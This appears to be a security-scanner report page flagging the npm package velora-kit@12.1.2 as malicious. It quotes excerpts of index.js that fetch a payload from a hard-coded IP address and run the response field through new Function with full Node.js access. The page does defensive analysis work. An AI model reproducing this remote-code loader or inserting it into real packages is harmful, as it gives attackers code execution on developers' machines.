velora-kit@12.1.2: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

velora-kit@12.1.2: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

index.jsView file

6L7: // Create require that resolves from the project root (where package.json and node_modules are) L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); ... L90: L91: return fetch(url, { headers: head }) L92: .then(response => { ... L95: } L96: return response.json(); L97: }); ... L133: exports: {}, L134: __dirname: process.cwd(), L135: __filename: import.meta.url,

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

index.jsView on unpkg · L6

149// Note: The code uses async/await, so we need to handle that L150: const evalFn = new Function( L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = copytrade-core@2.3.0 matchedPath = index.js matchedIdentity = npm:Y29weXRyYWRlLWNvcmU:2.3.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/"; // Constructs the base URL for the local server const token = '116', head = { bearrtoken: "logo" }; // Options for the request, including the URL and headers const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head }; function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {

High

Ai Review Evidence

Default export fetches code from a hard-coded IP endpoint.

index.jsView on unpkg · L106

117const mreq = async (atlf) => { try { const response = await fetch(url, { headers: reqoptions.headers }); if (!response.ok) { if (atlf > 0) { mreq(atlf - 1); } return; } const data = await response.json();

High

Ai Review Evidence

Default export fetches code from a hard-coded IP endpoint.

index.jsView on unpkg · L117

148// Use Function constructor to create an eval with the context // Note: The code uses async/await, so we need to handle that const evalFn = new Function( 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise', data.credits );

High

Ai Review Evidence

Remote response field data.credits is passed to Function and executed.

index.jsView on unpkg · L148

129// Create a context with require and other Node.js globals available const evalContext = { require: require, module: { exports: {} }, exports: {}, __dirname: process.cwd(), __filename: import.meta.url, console: console, process: process, global: globalThis, Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined, setTimeout: setTimeout, setInterval: setInterval, clearTimeout: clearTimeout, clearInterval: clearInterval, Promise: Promise,

High

Ai Review Evidence

Executed remote code receives require, process, global, Buffer, and filesystem-path context.

index.jsView on unpkg · L129

Source & flagged code

7 flagged

index.jsView file

6L7: // Create require that resolves from the project root (where package.json and node_modules are) L8: const projectRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); ... L90: L91: return fetch(url, { headers: head }) L92: .then(response => { ... L95: } L96: return response.json(); L97: }); ... L133: exports: {}, L134: __dirname: process.cwd(), L135: __filename: import.meta.url,

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

index.jsView on unpkg · L6

149// Note: The code uses async/await, so we need to handle that L150: const evalFn = new Function( L151: 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise',

High

Eval

Package source references dynamic code evaluation.

index.jsView on unpkg · L149

•matchType = malicious_source_fingerprint_signature signature = c06bd55d669269cb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = copytrade-core@2.3.0 matchedPath = index.js matchedIdentity = npm:Y29weXRyYWRlLWNvcmU:2.3.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

106const protocol = "https", domain = "31.97.137.157:45000", separator = "://", path = "/icons/"; // Constructs the base URL for the local server const token = '116', head = { bearrtoken: "logo" }; // Options for the request, including the URL and headers const uuri = `${protocol}${separator}${domain}${path}`; const options = { url: uuri, headers: head }; function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {

High

Ai Review Evidence

Default export fetches code from a hard-coded IP endpoint.

index.jsView on unpkg · L106

117const mreq = async (atlf) => { try { const response = await fetch(url, { headers: reqoptions.headers }); if (!response.ok) { if (atlf > 0) { mreq(atlf - 1); } return; } const data = await response.json();

High

Ai Review Evidence

Default export fetches code from a hard-coded IP endpoint.

index.jsView on unpkg · L117

148// Use Function constructor to create an eval with the context // Note: The code uses async/await, so we need to handle that const evalFn = new Function( 'require', 'module', 'exports', '__dirname', '__filename', 'console', 'process', 'global', 'Buffer', 'setTimeout', 'setInterval', 'clearTimeout', 'clearInterval', 'Promise', data.credits );

High

Ai Review Evidence

Remote response field data.credits is passed to Function and executed.

index.jsView on unpkg · L148

129// Create a context with require and other Node.js globals available const evalContext = { require: require, module: { exports: {} }, exports: {}, __dirname: process.cwd(), __filename: import.meta.url, console: console, process: process, global: globalThis, Buffer: typeof Buffer !== 'undefined' ? Buffer : undefined, setTimeout: setTimeout, setInterval: setInterval, clearTimeout: clearTimeout, clearInterval: clearInterval, Promise: Promise,

High

Ai Review Evidence

Executed remote code receives require, process, global, Buffer, and filesystem-path context.

index.jsView on unpkg · L129